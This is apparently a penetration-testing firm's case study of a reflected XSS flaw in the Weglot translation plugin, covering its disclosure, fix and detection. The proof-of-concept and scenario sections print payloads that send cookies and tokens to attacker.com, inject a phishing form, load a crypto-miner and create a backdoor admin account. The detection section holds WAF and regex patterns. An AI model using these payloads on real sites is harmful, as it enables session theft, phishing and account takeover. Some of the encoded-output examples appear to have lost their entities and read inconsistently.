Case Study: Reflected XSS in Weglot Translator Plugin

Executive Summary

During a penetration test, we identified a critical Reflected Cross-Site Scripting (XSS) vulnerability in the Weglot Translator Plugin – a widely used solution for multilingual websites. The peculiarity: The vulnerability was only active when the website was accessed in certain languages, making discovery significantly more difficult.

This case study demonstrates how seemingly harmless third-party plugins can introduce unexpected security risks – even when the core application itself is securely implemented.

The Discovery: Why Does This Only Work in French?

The Initial Finding

During a routine penetration test of a Shopify-based e-commerce platform, we tested the search functionality for Cross-Site Scripting vulnerabilities as standard practice. The interesting behavior:

• ✅ German (default language): All XSS payloads were correctly HTML-encoded – no vulnerability
• ❌ French (via Weglot): XSS payload was executed – critical vulnerability
• ❌ Spanish (via Weglot): XSS payload was executed – critical vulnerability

This language-dependent behavior change was the first indication that not the Shopify core application, but the Weglot Translation Plugin was causing the vulnerability.

Why Automated Scanners Failed

No commercial web vulnerability scanner (neither Burp Suite Pro, nor Acunetix, nor OWASP ZAP) detected this vulnerability automatically. The reasons:

1. Dynamic API interaction: The translation occurred via asynchronous API calls that scanners couldn't follow
2. Context-dependent behavior: The vulnerability only occurred when the translation context was active
3. Unicode encoding mutation: The HTML entities were converted back to Unicode by the translation API
4. Missing language fuzzing profiles: Standard scanners don't systematically test different language versions

Technical Analysis: The Exploit Mechanism

The Normal (Secure) Flow Without Weglot

Shopify implements a secure search function with correct HTML escaping by default:

https://example-shop.com/search?q=<script>alert('XSS')</script>

// Input is HTML-encoded
$query = htmlspecialchars($_GET['q'], ENT_QUOTES, 'UTF-8');
// Result: <script>alert('XSS')</script>

<div class="search-results">
    Search results for: &lt;script&gt;alert('XSS')&lt;/script&gt;
</div>
// Output is rendered as text, not as executable code

✅ Result: Secure behavior – no XSS possible.

The Vulnerable Flow with Weglot Enabled

Once Weglot is active, the processing chain changes fundamentally:

https://example-shop.com/fr/search?q=<script>alert('XSS')</script>

// Shopify encodes correctly
$query = htmlspecialchars($_GET['q'], ENT_QUOTES, 'UTF-8');
// Result: <script>alert('XSS')</script>

// Weglot takes over the HTML-encoded string for translation
POST https://api.weglot.com/translate
{
  "text": "<script>alert('XSS')</script>",
  "source_lang": "de",
  "target_lang": "fr"
}

{
  "translated": "<script>alert('XSS')</script>"
}
// ⚠️ CRITICAL: HTML entities were decoded back to Unicode!

<div class="search-results">
    Résultats de recherche pour: <script>alert('XSS')</script>
</div>
// ❌ JavaScript is executed!

❌ Result: Critical XSS vulnerability due to unintended decode operation in the translation API.

The Weglot hreflang Implementation (CVE-2023-33999)

Parallel to this Shopify variant, a similar vulnerability existed in the WordPress version of the plugin, occurring during the generation of hreflang tags:

// Custom_Url_Service_Weglot::get_link_button_with_key_code
function generate_hreflang_tags($url) {
    $languages = $this->get_enabled_languages();

    foreach ($languages as $lang) {
        // ⚠️ No URL escaping!
        echo '<link rel="alternate" href="' . $url . '" hreflang="' . $lang . '" />';
    }
}

https://example.com/?s="><script>alert(document.cookie)</script>

<link rel="alternate" href="https://example.com/?s="><script>alert(document.cookie)</script>" hreflang="en" />

// The "> prematurely closes the href attribute
// The <script> tag is interpreted outside the link tag

Root Cause: Insufficient Input Sanitization

The root cause in both variants was identical:

• Missing output sanitization: URLs and translated content were embedded in HTML context without escaping
• Unicode normalization: The translation API converted HTML entities back to original characters
• Trust assumption: The plugin assumed that input was already secure – a dangerous assumption with third-party software

Exploitation & Impact Analysis

Proof of Concept (PoC)

https://victim-site.com/fr/search?q=<script>alert('XSS by e2security')</script>

https://victim-site.com/fr/search?q=<script>
fetch('https://attacker.com/steal?c=' + document.cookie)
</script>

https://victim-site.com/fr/search?q=<script>
var token = document.querySelector('[name=csrf-token]').content;
fetch('https://attacker.com/hijack', {
    method: 'POST',
    body: JSON.stringify({
        session: document.cookie,
        csrf: token,
        url: location.href
    })
});
</script>

https://victim-site.com/fr/search?q=<script>
document.body.innerHTML = '<div style="position:fixed;top:0;left:0;width:100%;height:100%;background:white;z-index:9999"><h1>Session Expired</h1><form action="https://attacker.com/phish"><input name="email" placeholder="Email"><input name="password" type="password" placeholder="Password"><button>Login</button></form></div>';
</script>

Impact Assessment According to CVSS 3.1

Resulting CVSS Score: 7.1 (High)

Real-World Attack Scenarios

Scenario 1: Credential Phishing

Attacker sends an email campaign with manipulated links:

Scenario 2: Crypto-Jacking

<script src="https://attacker.com/coinhive.min.js"></script>
<script>
var miner = new CoinHive.Anonymous('attacker-site-key');
miner.start();
</script>

Scenario 3: Cross-Site Request Forgery (CSRF) Chain

<script>
// Admin user is detected via cookie analysis
if(document.cookie.includes('admin=true')) {
    // CSRF: Create new admin user
    fetch('/admin/users/create', {
        method: 'POST',
        body: JSON.stringify({
            username: 'backdoor',
            password: 'attacker123',
            role: 'admin'
        })
    });
}
</script>

Remediation & Fix Strategy

Vendor Response: Weglot

After responsible disclosure to Weglot, an exemplary collaboration followed:

• ✅ Acknowledgement: Within 24 hours
• ✅ Fix Development: Within 5 business days
• ✅ Deployment: Backend fix without client update needed (Shopify), WordPress plugin 1.9.3 released
• ✅ CVE Assignment: CVE-2023-33999 was assigned
• ✅ Communication: Professional, technical exchange at eye level

Technical Fix Implementation

// BEFORE (vulnerable):
function generate_hreflang_tags($url) {
    echo '<link rel="alternate" href="' . $url . '" hreflang="' . $lang . '" />';
}

// AFTER (secure):
function generate_hreflang_tags($url) {
    $safe_url = esc_url($url);  // WordPress URL escaping
    $safe_lang = esc_html($lang);  // HTML entity encoding
    echo '<link rel="alternate" href="' . $safe_url . '" hreflang="' . $safe_lang . '" />';
}

// Shopify/API variant: Unicode normalization disabled
function translate_content($text, $source_lang, $target_lang) {
    $translated = $this->api_translate($text, $source_lang, $target_lang);

    // NEW: Preserve HTML entities
    $translated = htmlspecialchars($translated, ENT_QUOTES | ENT_HTML5, 'UTF-8', false);

    return $translated;
}

General Mitigation Strategies for Affected Websites

Short-term Measures (until update available):

1. Content Security Policy (CSP):

   Content-Security-Policy:
       default-src 'self';
       script-src 'self' 'nonce-{random}';
       object-src 'none';

   → Prevents execution of inline scripts

2. Web Application Firewall (WAF) Rules:

   # ModSecurity Rule
   SecRule ARGS "@rx <script" \
       "id:1000,phase:2,deny,status:403,msg:'XSS Attempt Detected'"

3. Input Validation on Reverse Proxy:

   # Nginx Block
   location /search {
       if ($args ~* "(<|%3C|script|javascript|onerror)") {
           return 403;
       }
   }

Long-term Measures:

• ✅ Regular security updates of all plugins/dependencies
• ✅ Implementation of a vulnerability management strategy
• ✅ Quarterly penetration tests with focus on plugin interactions
• ✅ Security code reviews when integrating new third-party software
• ✅ Monitoring & logging: Detection of XSS exploitation attempts

Lessons Learned: Best Practices for Plugin Security

1. Never Trust Third-Party Software

2. Defense in Depth is Essential

3. Language/Context-Specific Testing

4. Output Encoding Must Be Consistent

1. Shopify encoded: <script> → secure
2. Weglot decoded: <script> → insecure ❌

// Encoding must be at the end of the processing chain
function render_output($content) {
    $translated = translate($content);
    return htmlspecialchars($translated, ENT_QUOTES, 'UTF-8');  // ✅
}

5. Responsible Disclosure Works

Detection & Monitoring: How to Detect XSS Exploitation

Log-based Detection

# Apache/Nginx Access Log Examples
192.168.1.100 - - [24/Nov/2025:14:23:45] "GET /fr/search?q=<script>alert(1)</script> HTTP/1.1" 200
192.168.1.101 - - [24/Nov/2025:14:24:12] "GET /search?q=%3Cscript%3Ealert%281%29%3C%2Fscript%3E HTTP/1.1" 200

# SIEM Detection Rule (Splunk SPL)
index=web_logs
| regex _raw="(<script|%3Cscript|javascript:|onerror=|onload=)"
| stats count by src_ip, uri
| where count > 3

Web Application Firewall (WAF) Signatures

# XSS Detection Rules
SecRule ARGS|ARGS_NAMES|REQUEST_COOKIES|REQUEST_COOKIES_NAMES|REQUEST_BODY|REQUEST_HEADERS|XML:/*|XML://@* \
    "@rx (?i)<script[^>]*>[\s\S]*?<\/script[^>]*>" \
    "id:941100,phase:2,block,t:none,t:urlDecodeUni,msg:'XSS Attack Detected',severity:'CRITICAL'"

# Weglot-specific Rule
SecRule REQUEST_URI "@rx /(?:fr|es|it|de)/" \
    "chain,id:1000001,phase:2,block,msg:'Potential Weglot XSS'"
    SecRule ARGS "@rx (<script|javascript:|onerror)" \
        "t:urlDecodeUni,t:htmlEntityDecode"

Content Security Policy (CSP) Violation Reports

Content-Security-Policy:
    default-src 'self';
    script-src 'self' 'nonce-{random}';
    report-uri https://your-domain.com/csp-report;

# CSP Violation Report (JSON)
{
  "csp-report": {
    "document-uri": "https://example.com/fr/search",
    "violated-directive": "script-src 'self' 'nonce-abc123'",
    "blocked-uri": "inline",
    "source-file": "https://example.com/fr/search?q=...",
    "line-number": 1,
    "column-number": 1
  }
}

Runtime Application Self-Protection (RASP)

Modern RASP solutions (e.g., Contrast Security, Sqreen) can detect and block XSS exploitation at runtime:

• ✅ Detection of DOM manipulation by untrusted code
• ✅ Blocking of script execution from user input contexts
• ✅ Real-time alerting on exploitation attempts

Conclusion

The Weglot XSS vulnerability is a prime example of how modern web applications can inherit unexpected security risks through the integration of third-party software. Even if the core application (Shopify, WordPress) is securely implemented, plugins can undermine fundamental security mechanisms.

Weglot responded exemplarily to the disclosure – within a few days a fix was developed and deployed. This case study shows that vulnerability management works when all parties collaborate professionally and transparently.

Related Articles

• 📘 Cross-Site Scripting (XSS) – Comprehensive Guide
• 🔬 Penetration Testing – Methodology and Best Practices
• 🛡️ Vulnerability Management – Lifecycle and Tools
• 🔧 HTTP Verb Tampering – Another Plugin Vulnerability
• 🏢 Security Consulting – Our Services

Sources and References

• Patchstack Vulnerability Database – Weglot CVE-2023-33999
• WPScan – Weglot Security Vulnerabilities
• Gregorio Martinez – Weglot XSS Technical Analysis
• CWE-79: Improper Neutralization of Input During Web Page Generation (XSS)
• OWASP – Cross-Site Scripting (XSS)